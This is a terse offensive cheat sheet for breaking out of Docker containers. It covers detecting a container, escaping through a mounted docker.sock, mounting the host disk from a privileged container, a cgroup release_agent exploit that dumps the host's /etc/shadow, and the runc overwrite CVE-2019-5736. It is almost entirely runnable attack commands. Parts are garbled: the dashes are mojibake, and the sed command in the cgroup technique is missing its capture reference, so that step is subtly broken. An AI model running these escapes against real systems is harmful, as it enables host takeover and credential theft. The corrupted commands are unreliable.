Container Detection
ls /.dockerenv && echo "In Docker"
cat /proc/1/cgroup | grep docker
cat /proc/self/status | grep CapEff
# bce0 = non-privileged container
# ffff = privileged container (immediate escape possible)
Technique 1 โ Docker Socket Escape
# Check for mounted socket
ls -la /var/run/docker.sock
find / -name "docker.sock" 2>/dev/null
# Instantaneous escape if docker binary is available
docker -H unix:///var/run/docker.sock run --rm -v /:/mnt -it alpine chroot /mnt sh
# Without docker binary โ use the socket API directly
curl --unix-socket /var/run/docker.sock http://localhost/containers/json
# Then create a container via API with host filesystem mounted
Technique 2 โ Privileged Container
# Confirm privileged mode
cat /proc/self/status | grep CapEff
# 0000003fffffffff = full capabilities = privileged
# Mount the host disk and chroot
fdisk -l # identify host disk (e.g. /dev/sda1)
mkdir /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host bash # root shell on the host
Technique 3 โ CAP_SYS_ADMIN via cgroup
# Exploit the cgroup release_agent mechanism
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*perdir=\([^,]*\).*//p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output # host /etc/shadow content
Technique 4 โ CVE-2019-5736 (runc Overwrite)
# Overwrites the host runc binary by exploiting /proc/self/exe from inside the container
# Triggered when someone exec's into the container from the host
# PoC: github.com/Frichetten/CVE-2019-5736-PoC
go build main.go
./main # waits for host to exec into container, then replaces runc